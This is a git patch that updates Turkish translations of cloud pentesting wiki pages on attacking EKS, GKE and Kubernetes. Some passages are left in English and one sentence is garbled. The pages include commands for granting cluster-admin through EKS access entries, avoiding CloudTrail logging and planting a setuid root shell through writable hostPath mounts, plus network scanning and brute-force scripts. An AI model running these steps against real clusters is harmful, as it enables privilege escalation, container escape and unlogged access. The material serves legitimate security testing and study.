From 1dfe4c24664834940ba002461333a7e7213392c6 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Jul 2026 09:21:48 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-services/gcp-cont --- .../aws-eks-post-exploitation/README.md | 66 ++-- .../gcp-containers-gke-and-composer-enum.md | 56 ++-- .../attacking-kubernetes-from-inside-a-pod.md | 309 ++++++++++++++---- .../exposing-services-in-kubernetes.md | 90 ++--- .../kubernetes-enumeration.md | 204 +++++++----- .../kubernetes-network-attacks.md | 90 ++--- .../kubernetes-pivoting-to-clouds.md | 185 +++++++---- ...bernetes-role-based-access-control-rbac.md | 59 ++-- ...bernetes-validatingwebhookconfiguration.md | 120 ++++--- .../pentesting-kubernetes-services/README.md | 106 +++--- ...ubelet-authentication-and-authorization.md | 71 ++-- 11 files changed, 844 insertions(+), 512 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md index 78c613528..5117d1607 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -10,22 +10,22 @@ Daha fazla bilgi için kontrol edin ../../aws-services/aws-eks-enum.md {{#endref}} -### AWS Console üzerinden cluster'ı enumerate et +### AWS Console üzerinden cluster'ı enumerate etme -Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS console üzerinden **Kubernetes objects** görüntüleyebilirsiniz ([Daha fazla bilgi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS console üzerinden **Kubernetes object'lerini görüntüleyebilirsiniz** ([Daha fazla bilgi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### AWS Kubernetes Cluster'a bağlan +### AWS Kubernetes Cluster'a bağlanma -- Easy way: +- Kolay yol: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- O kadar kolay olmayan yol: +- O kadar da kolay yol değil: -Eğer **`aws eks get-token --name `** ile bir **token** alabiliyorsanız ancak cluster bilgilerini (describeCluster) alma yetkiniz yoksa, **kendi `~/.kube/config`** dosyanızı hazırlayabilirsiniz. Ancak tokena sahip olsanız bile, yine de bağlanmak için **url endpoint** gerekir (eğer bir pod’dan bir JWT token aldıysanız [buraya bakın](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) ve **cluster adı** gerekir. +Eğer **`aws eks get-token --name `** ile bir **token** alabiliyorsanız ancak cluster bilgilerini alma izniniz yoksa (describeCluster), **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak token’a sahip olsanız bile, yine de **bağlanılacak url endpoint**’e ihtiyacınız vardır (eğer bir pod’dan JWT token almayı başardıysanız [buraya bakın](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) ve **cluster adı** gerekir. -Benim durumumda, bilgiyi CloudWatch logs içinde bulamadım, ama **LaunchTemaplates userData** içinde ve **EC2 makinelerinde userData** içinde de **buldum**. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin sonraki örnekte (cluster adı cluster-name idi): +Benim durumumda, bilgiyi CloudWatch logs içinde bulamadım, ama **LaunchTemaplates userData** içinde ve ayrıca **EC2 makinelerinin userData** içinde buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz; örneğin aşağıdaki örnekte (cluster adı cluster-name idi): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -70,55 +70,55 @@ provideClusterInfo: false ``` -### AWS'den Kubernetes'e +### From AWS to Kubernetes -**EKS cluster**'ının **yaratıcısı**, **HER ZAMAN** grubun **`system:masters`** (k8s admin) içindeki kubernetes cluster bölümüne girebilecektir. Bu yazı hazırlanırken **kimin cluster'ı oluşturduğunu** bulmanın **doğrudan bir yolu yok**tur (CloudTrail'i kontrol edebilirsiniz). Ve bu **ayrıcalığı** **kaldırmanın** **hiçbir yolu yok**tur. +Tarihsel olarak, bir **EKS cluster**'ının **creator**'ı, `aws-auth` içinde görünmeyen gizli Kubernetes admin access elde ederdi. Güncel EKS cluster'larında bu, cluster access configuration'a bağlıdır. `bootstrapClusterCreatorAdminPermissions`, creator'ın creation sırasında bir cluster-admin access entry olarak eklenip eklenmeyeceğini kontrol eder ve EKS access entries, bu admin yolunu EKS API üzerinden görünür ve iptal edilebilir hale getirir. Eski cluster'lar veya hâlâ `aws-auth` kullanan cluster'lar, legacy creator davranışını hâlâ taşıyabilir; bu yüzden creator'ın her zaman kaldırılamayan `system:masters` sahibi olduğunu varsaymak yerine `accessConfig`'i doğrulayın, access entries listesini alın ve CloudTrail'i inceleyin. -#### configmap'i kötüye kullanma +#### Abusing configmap -**AWS IAM** kullanıcılarına veya rollerine **K8s üzerinde daha fazla erişim** vermenin geleneksel yolu **configmap** **`aws-auth`** kullanmaktır. +**Daha fazla AWS IAM user veya role'a K8s üzerinde access vermenin** geleneksel yolu, **configmap** **`aws-auth`** kullanmaktır. > [!WARNING] -> Bu nedenle, **`aws-auth`** config map'i üzerinde **yazma erişimi** olan herkes **tüm cluster'ı ele geçirebilir**. +> Bu nedenle, **config map `aws-auth`** üzerinde **write access** sahibi olan herkes, **tüm cluster'ı compromise** edebilir. -Aynı veya farklı hesapta **IAM rollerine ve kullanıcılarına ek ayrıcalıklar** nasıl verilir ve bunu [**privesc için nasıl kötüye kullanacağınız**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) hakkında daha fazla bilgi için bu sayfaya bakın. +Aynı veya farklı account içindeki IAM role'lara ve user'lara **ek yetkiler vermek** ve bunu [**privesc için abuse etmek**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) hakkında daha fazla bilgi için bu sayfaya bakın. -Ayrıca **authentication IAM -> Kubernetes**'in nasıl çalıştığını öğrenmek için [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıya** da göz atın. +Ayrıca, authentication'ın IAM -> Kubernetes nasıl çalıştığını öğrenmek için [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post'a da bakın**. -#### Access Entries'i kötüye kullanma +#### Abusing Access Entries -AWS, IAM kullanıcılarına Kubernetes cluster'a erişim vermek için Access Entries üzerinden ek bir yöntem uygular. `eks:CreateAccessEntry` ve `eks:AssociateAccessPolicy` izinlerine sahipseniz, kullanıcıya ya da belirli bir role bir Kubernetes administrator rolü de atayabilirsiniz. +AWS, IAM user'lara Kubernetes cluster'a access vermek için access entries üzerinden ek bir yol uygular. `eks:CreateAccessEntry` ve `eks:AssociateAccessPolicy` permissions'larına sahipseniz, user'ınıza veya belirli bir role'a bir Kubernetes administrator role'ü atayabilirsiniz. -İlk olarak, **kullanıcınız veya rolünüz için bir access entry oluşturun**: +Önce, **user'ınız veya role'ünüz için bir access entry oluşturun**: ``` aws eks create-access-entry --cluster-name --region --principal-arn --type STANDARD ``` -Bu giriş oluşturulduktan sonra, artık ona doğrudan bir policy atayabilirsiniz. Doğrudan kullanılabilecek *AmazonEKSClusterAdminPolicy* adlı yerleşik bir AWS policy vardır. Ortamınızda EKS içinde yükseltilmiş ayrıcalıklar da veren başka custom policies varsa, `--policy-arn` değerini bunlardan herhangi biriyle değiştirebilirsiniz: +Bu entry oluşturulduktan sonra, artık ona doğrudan bir policy atayabilirsiniz. Doğrudan kullanılabilecek yerleşik bir AWS policy olan *AmazonEKSClusterAdminPolicy* vardır. Ortamınızda EKS içinde yükseltilmiş yetkiler de veren başka custom policy'ler varsa, `--policy-arn` değerini bunlardan herhangi biriyle değiştirebilirsiniz: ``` aws eks associate-access-policy --cluster-name --region --principal-arn --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster ``` -AWS resmi dokümantasyonunda bu policy’i [**burada**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) arayabilirsiniz +AWS resmi belgelerinde bu policy için [**buradan**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) arama yapabilirsiniz -Bu noktadan sonra, artık bir *k8s* token talep edip cluster ile bir administrator olarak etkileşime geçebiliyor olabilirsiniz: +Bu noktadan itibaren, artık bir *k8s* token isteyebilir ve cluster ile bir administrator olarak etkileşime girebilirsiniz: ``` aws eks get-token --cluster-name --output json | jq -r '.status.token' ``` -### Kubernetes'ten AWS'ye +### From Kubernetes to AWS -**OpenID authentication for kubernetes service account**'ların AWS içinde rol assume etmesine izin vermek mümkündür. Bunun nasıl çalıştığını [**bu sayfada**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) öğrenin. +**kubernetes service account** için **OpenID authentication** etkinleştirilerek onların AWS içinde roller üstlenmesine izin vermek mümkündür. Bunun nasıl çalıştığını [**bu sayfada**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) öğrenin. -### JWT Token'dan GET Api Server Endpoint +### GET Api Server Endpoint from a JWT Token -JWT token'ı decode ederek cluster id ve region bilgisini de elde ederiz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url için standart formatın şu olduğunu bilerek +JWT token'ını decode ederek cluster id'yi ve ayrıca region'ı elde ederiz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url'sinin standart formatının olduğunu bilerek ```bash https://...eks.amazonaws.com ``` -'two chars' ve 'number' için kriterleri açıklayan herhangi bir dokümantasyon bulamadım. Ama kendi adıma bazı testler yapınca bunların tekrar ettiğini gördüm: +'iki karakter' ve 'sayı' için kriterleri açıklayan herhangi bir dokümantasyon bulamadım. Ama kendi adıma bazı testler yaparak bunların tekrar ettiğini gördüm: - gr7 - yl4 -Her halükarda bunlar sadece 3 char, bu yüzden bunları bruteforce edebiliriz. Listeyi oluşturmak için aşağıdaki scripti kullanın +Her neyse, bunlar sadece 3 karakter; brute force ile deneyebiliriz. Listeyi oluşturmak için aşağıdaki scripti kullanın ```python from itertools import product from string import ascii_lowercase @@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### Bypass CloudTrail -Eğer bir attacker, bir **EKS üzerinde yetkisi** olan bir AWS hesabının credentials bilgilerini elde ederse. Eğer attacker kendi **`kubeconfig`** dosyasını (**`update-kubeconfig`** çağırmadan) önceki açıklamada anlatıldığı gibi yapılandırırsa, **`get-token`** Cloudtrail’de log oluşturmaz çünkü AWS API ile etkileşime girmez (sadece token’ı yerel olarak oluşturur). +If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). -Bu nedenle attacker EKS cluster ile konuştuğunda, **cloudtrail çalınan user’ın erişimiyle ilgili hiçbir şeyi loglamayacaktır**. +So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. -**EKS cluster’ın logları etkin olabilir** ve bu erişimi loglayabilir (ancak varsayılan olarak devre dışıdırlar). +Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). ### EKS Ransom? -Varsayılan olarak, bir cluster’ı **oluşturan user veya role** cluster üzerinde **HER ZAMAN admin yetkilerine** sahip olacaktır. Ve AWS’nin Kubernetes cluster üzerinde sahip olacağı tek "güvenli" erişim budur. +By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. -Bu yüzden, eğer bir **attacker fargate kullanan bir cluster’ı ele geçirir** ve **diğer tüm adminleri kaldırır** ve cluster’ı oluşturan **AWS user/role’unu silerse**, ~~attacker cluster’ı **fidye için rehin almış olabilirdi**~~**r**. +So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. > [!TIP] -> Eğer cluster **EC2 VMs** kullanıyorsa, **Node** üzerinden Admin yetkileri almak ve cluster’ı kurtarmak mümkün olabilir. +> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. > -> Aslında, eğer cluster Fargate kullanıyorsa EC2 nodes ekleyebilir veya her şeyi EC2’ye taşıyıp node’daki tokens’lara erişerek cluster’ı kurtarabilirsiniz. +> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index 9d12c6418..95e676cad 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -4,7 +4,7 @@ ## Containers -GCP containers içinde GCP'nin sunduğu çoğu container tabanlı service'i bulabilirsiniz, burada en yaygın olanları nasıl enumerate edeceğinizi görebilirsiniz: +GCP containers içinde, GCP’nin sunduğu çoğu container-based service bulunabilir, burada en yaygın olanları nasıl enumerate edeceğinizi görebilirsiniz: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -32,7 +32,7 @@ Aşağıdaki sayfada **container permissions to escalate privileges** nasıl **a ## Node Pools -Bunlar, kubernetes clusters oluşturan makine havuzlarıdır (nodes). +Bunlar, kubernetes cluster'larını oluşturan makineler (nodes) havuzudur. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,35 +40,35 @@ gcloud container node-pools describe --cluster --zone --region \ --format='value(workloadIdentityConfig.workloadPool)' @@ -76,33 +76,47 @@ gcloud container clusters describe --region \ kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' ``` -Eğer bir service account üzerinde `iam.gke.io/gcp-service-account` annotation’ı varsa, `roles/iam.workloadIdentityUser` grant’leri için IAM service account policy’sini Kubernetes service account principal’larına karşı inceleyin. Ayrıca direct workload identity principals veya geniş principal sets için IAM allow policies’yi de kontrol edin. +Bir service account üzerinde `iam.gke.io/gcp-service-account` annotation varsa, IAM service account policy içinde Kubernetes service account principal’larına verilen `roles/iam.workloadIdentityUser` grant’lerini inceleyin. Ayrıca direct workload identity principal’ları veya namespace-wide ya da cluster-wide workload access gibi geniş `principalSet://` grant’leri için IAM allow policies’leri de kontrol edin. `iam.gke.io/credential-quota-project` annotation’ı yalnızca IAM Service Account Credentials API quota’sını başka bir projeye taşır; workload principal yine de o quota project üzerinde `serviceusage.services.use` ve target resource’a ayrı IAM access ister. -Metadata erişimi cluster mode’a, node pool configuration’a ve workload settings’e bağlıdır. Her pod’un node service account’u çalabileceğini varsaymayın. Workload Identity-enabled ortamlarda, sıradan pod’lar kendi Kubernetes service account’ları için amaçlanan workload identity’yi almak üzere GKE metadata server kullanmalıdır. Node compromise, bazı Standard configuration’larda `hostNetwork` pod’ları ve legacy node metadata exposure hâlâ blast radius’u değiştirebilir; bu yüzden gerçek node pool metadata mode, node service account, OAuth scopes ve pod placement’ı doğrulayın. +Metadata access, cluster mode, node pool configuration ve workload settings’e bağlıdır. Her pod’un node service account’u steal edebileceğini varsaymayın. Workload Identity-enabled ortamlarda, sıradan pod’lar Kubernetes service account’ları için amaçlanan workload identity’yi almak üzere GKE metadata server kullanmalıdır. Node compromise, bazı Standard yapılandırmalarında `hostNetwork` pod’lar ve legacy node metadata exposure hâlâ blast radius’u değiştirebilir; bu yüzden gerçek node pool metadata mode, node service account, OAuth scopes ve pod placement’ı doğrulayın. + +Bir Workload Identity-enabled pod token alamıyorsa, IAM binding’in yanlış olduğunu varsaymadan önce NetworkPolicy egress’i de kontrol edin. NetworkPolicy kullanan GKE Standard cluster’larının, cluster version ve dataplane için gerekli metadata-server path’ine izin vermesi gerekir; Dataplane V2 metadata-server access için `169.254.169.254` path’ini kullanır. + +### Autopilot privileged workload allowlists + +GKE Autopilot varsayılan olarak çoğu privileged workload’u engeller, ancak onaylı exceptions mevcut olabilir. Privileged pod’un imkânsız olduğunu varsaymadan önce privileged admission settings, `AllowlistSynchronizer` objects ve yüklü `WorkloadAllowlist` objects’i inceleyin: +```bash +gcloud container clusters describe --region \ +--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)' + +kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml +kubectl get workloadallowlists.auto.gke.io -A -o yaml +``` +Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload. ### TLS Boostrap Privilege Escalation -Başlangıçta bu privilege escalation tekniği, **GKE cluster içinde privesc** yapmaya izin veriyordu ve böylece bir saldırganın sistemi **tamamen compromise etmesine** olanak sağlıyordu. +Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**. -Bunun nedeni, GKE’nin metadata içinde [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) sağlamasıydı; bu da **sadece bir pod compromise edilerek herkes tarafından erişilebilir** durumdaydı. +This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**. -Kullanılan teknik şu gönderilerde açıklanmıştır: +The technique used is explained in the following posts: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -Ve bu işlemi otomatikleştirmek için şu tool oluşturuldu: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Ancak bu teknik, **metadata credentials** ile **yeni bir node** için otomatik olarak **onaylanan bir CSR** (Certificate Signing Request) üretmenin mümkün olmasına dayanıyordu.\ -Testimde, **bu isteklerin artık otomatik olarak onaylanmadığını** kontrol ettim, bu yüzden bu tekniğin hâlâ geçerli olup olmadığından emin değilim. +However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\ +In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid. ### Secrets in Kubelet API -[**Bu gönderide**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) GKE içinde bir pod’dan erişilebilen bir Kubelet API address bulunduğu keşfedildi; bu address çalışan pod’ların detaylarını veriyordu: +In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running: ``` curl -v -k http://10.124.200.1:10255/pods ``` -API **kaynakları değiştirmeye** izin vermese bile, yanıt içinde **hassas bilgi** bulmak mümkün olabilir. /pods endpoint’i [**Kiterunner**](https://github.com/assetnote/kiterunner) kullanılarak bulundu. +API **kaynakları değiştirmeye** izin vermese bile, yanıtta **hassas bilgi** bulmak mümkün olabilir. /pods endpoint'i [**Kiterunner**](https://github.com/assetnote/kiterunner) kullanılarak bulundu. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index f895cf773..85383f4b4 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -4,19 +4,19 @@ ## **Pod Breakout** -**Şanslıysanız, bundan node'a kaçabilirsiniz:** +**If you are lucky enough you may be able to escape from it to the node:** ![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg) ### Pod'dan kaçış -Pods'tan kaçmayı denemek için önce **privileges yükseltmeniz** gerekebilir, bunu yapmak için bazı teknikler: +Pod'lardan kaçmaya çalışmak için önce **privilege escalation** yapmanız gerekebilir, bunu yapmanın bazı teknikleri: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -Ele geçirdiğiniz bir pod'dan **kaçmayı denemek için docker breakouts** kontrol edebilirsiniz: +Bu **docker breakouts to try to escape** yöntemlerini, ele geçirdiğiniz bir pod'dan kaçmak için kontrol edebilirsiniz: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html @@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu ### Yazılabilir hostPath/bind mounts kötüye kullanımı (container -> host root via SUID planting) -Ele geçirilmiş bir pod/container, doğrudan host filesystem'e map edilen yazılabilir bir volume'a sahipse (Kubernetes hostPath veya Docker bind mount) ve container içinde root olabiliyorsanız, mount'u kullanarak host üzerinde setuid-root bir binary oluşturabilir ve sonra host'tan çalıştırarak root elde edebilirsiniz. +Eğer compromised bir pod/container, doğrudan host filesystem'e eşlenen yazılabilir bir volume'a sahipse (Kubernetes hostPath veya Docker bind mount) ve container içinde root olabiliyorsanız, mount'u kullanarak host üzerinde setuid-root bir binary oluşturabilir ve ardından bunu host üzerinden çalıştırarak root elde edebilirsiniz. Temel koşullar: -- Mount edilen volume container içinden yazılabilir olmalıdır (readOnly: false ve filesystem permissions yazmaya izin vermelidir). -- Mount'u destekleyen host filesystem nosuid seçeneğiyle mount edilmemiş olmalıdır. -- Plant edilen binary'yi host üzerinde çalıştırmanın bir yolu olmalıdır (örneğin host'ta ayrı SSH/RCE, host üzerindeki bir kullanıcı onu çalıştırabilir veya o path'ten binary çalıştıran başka bir vector). +- Mount edilen volume container içinden yazılabilir olmalı (readOnly: false ve filesystem permissions yazmaya izin vermeli). +- Mount'un arkasındaki host filesystem, nosuid seçeneğiyle mount edilmemiş olmalı. +- Plant edilen binary'yi host üzerinde execute etmek için bir yolunuz olmalı (örneğin host üzerinde ayrı bir SSH/RCE, host'ta bir kullanıcının bunu çalıştırabilmesi veya bu path'ten binary çalıştıran başka bir vector). -Yazılabilir hostPath/bind mounts nasıl tespit edilir: +Yazılabilir hostPath/bind mounts nasıl belirlenir: - kubectl ile hostPath volumes kontrol edin: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' -- Container içinden mounts'u listeleyin ve host-path mounts arayın, yazılabilirliği test edin: +- Container içinden mounts listesini alın ve host-path mounts arayın, ardından yazılabilirliği test edin: ```bash # Inside the compromised container mount | column -t @@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path # Quick practical test printf "ping\n" > "$TEST_DIR/.w" ``` -Konteynerden bir setuid root binary yerleştirin: +Container’dan bir setuid root binary yerleştir: ```bash # As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory @@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash" ls -l "$MOUNT/suidbash" # -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash ``` -Host üzerinde root elde etmek için çalıştır: +Ana makinede root elde etmek için çalıştırın: ```bash # On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) # Example host path: /opt/limesurvey/suidbash @@ -62,19 +62,19 @@ ls -l /opt/limesurvey/suidbash /opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash ``` Notlar ve troubleshooting: -- Eğer host mount üzerinde nosuid varsa, setuid bitleri yok sayılır. Host üzerindeki mount options'ları kontrol edin (cat /proc/mounts | grep ) ve nosuid arayın. -- Eğer bir host execution path elde edemiyorsanız, benzer yazılabilir mount'lar, eşlenen dizin security-critical ise host üzerinde başka persistence/priv-esc artifacts yazmak için kötüye kullanılabilir (ör. mount /root/.ssh içine eşleniyorsa bir root SSH key ekleyin, /etc içine eşleniyorsa bir cron/systemd unit bırakın, host'un execute edeceği PATH içindeki root-owned bir binary'yi değiştirin, vb.). Uygulanabilirlik tamamen hangi path'in mount edildiğine bağlıdır. -- Bu technique, plain Docker bind mounts ile de çalışır; Kubernetes'te genellikle bir hostPath volume'dür (readOnly: false) veya yanlış scope edilmiş bir subPath'tir. +- Eğer host mount üzerinde nosuid varsa, setuid bitleri yok sayılır. Host üzerindeki mount options değerlerini kontrol edin (cat /proc/mounts | grep ) ve nosuid arayın. +- Eğer host execution path elde edemezseniz, benzer writable mounts başka persistence/priv-esc artifact'larını host üzerine yazmak için abused edilebilir; mapped directory security-critical ise (ör. mount /root/.ssh içine map ediyorsa root SSH key ekleyin, /etc içine map ediyorsa cron/systemd unit bırakın, host'un execute edeceği PATH içindeki root-owned bir binary'yi değiştirin, vb.). Yapılabilirlik tamamen hangi path'in mounted olduğuna bağlıdır. +- Bu technique, düz Docker bind mounts ile de çalışır; Kubernetes'te bu genellikle bir hostPath volume'dür (readOnly: false) veya yanlış scoped bir subPath'tir. ### Abusing Kubernetes Privileges -**kubernetes enumeration** bölümünde açıklandığı gibi: +**kubernetes enumeration** hakkındaki bölümde açıklandığı gibi: {{#ref}} kubernetes-enumeration.md {{#endref}} -Genellikle pod'lar içinde bir **service account token** ile çalıştırılır. Bu service account'a bağlı olabilecek bazı **privileges** olabilir ve bunları diğer pod'lara **move** etmek veya hatta cluster içinde yapılandırılmış node'lara **escape** etmek için **abuse** edebilirsiniz. Nasıl yapılacağını şurada kontrol edin: +Genellikle pod'lar içinde bir **service account token** ile çalıştırılır. Bu service account'a bağlı bazı **privileges** olabilir ve bunları **abuse** ederek diğer pod'lara **move** edebilir veya cluster içindeki node'lara **escape** edebilirsiniz. Bunun nasıl yapılacağını şurada kontrol edin: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/ ### Abusing Cloud Privileges -Eğer pod bir **cloud environment** içinde çalışıyorsa, metadata endpoint'inden bir token **l**eak** etmek ve bunu kullanarak ayrıcalıkları yükseltmek mümkün olabilir. +Eğer pod bir **cloud environment** içinde çalışıyorsa, metadata endpoint'inden bir token l**eak** edip bunu kullanarak privilege escalation yapabilirsiniz. ## Search vulnerable network services -Kubernetes environment içindeyken, mevcut pod'ların privileges'larını abuse ederek ayrıcalıkları yükseltemiyorsanız ve container'dan escape edemiyorsanız, **potansiyel vulnerable services** aramalısınız. +Kubernetes environment içindeyken, mevcut pod'ların privileges'larını abuse ederek privilege escalation yapamıyorsanız ve container'dan escape edemiyorsanız, **potansiyel vulnerable services aramalısınız.** ### Services -**Bu amaçla, kubernetes environment'ındaki tüm services'leri almaya çalışabilirsiniz:** +**Bu amaçla, Kubernetes environment içindeki tüm services'ları almaya çalışabilirsiniz:** ``` kubectl get svc --all-namespaces ``` -Varsayılan olarak, Kubernetes düz bir networking şeması kullanır; bu da **cluster içindeki herhangi bir pod/service’in diğerleriyle konuşabildiği** anlamına gelir. Cluster içindeki **namespaces** varsayılan olarak **herhangi bir network security restriction** içermez. Namespace içindeki herkes diğer namespaces ile konuşabilir. +Varsayılan olarak, Kubernetes düz bir networking şeması kullanır; bu da **cluster içindeki herhangi bir pod/service’in diğerleriyle konuşabileceği** anlamına gelir. Cluster içindeki **namespaces** için **varsayılan olarak herhangi bir network security kısıtlaması yoktur**. Namespace içindeki herkes diğer namespaces ile konuşabilir. ### Scanning -Aşağıdaki Bash script (bir [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)'ten alınmıştır) kubernetes cluster’ının IP aralıklarını kuracak ve scan edecektir: +Aşağıdaki Bash scripti (bir [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)’dan alınmıştır) kubernetes cluster’ının IP aralıklarını kuracak ve tarayacaktır: ```bash sudo apt-get update sudo apt-get install nmap @@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Kubernetes'a özgü servisleri **attack** ederek nasıl **other pods/all the environment** ortamını **compromise** edebileceğinizi öğrenmek için şu sayfaya göz atın: +Kubernetes’a özgü servisleri **saldırarak** diğer pod’ları/tüm ortamı nasıl **compromise** edebileceğini 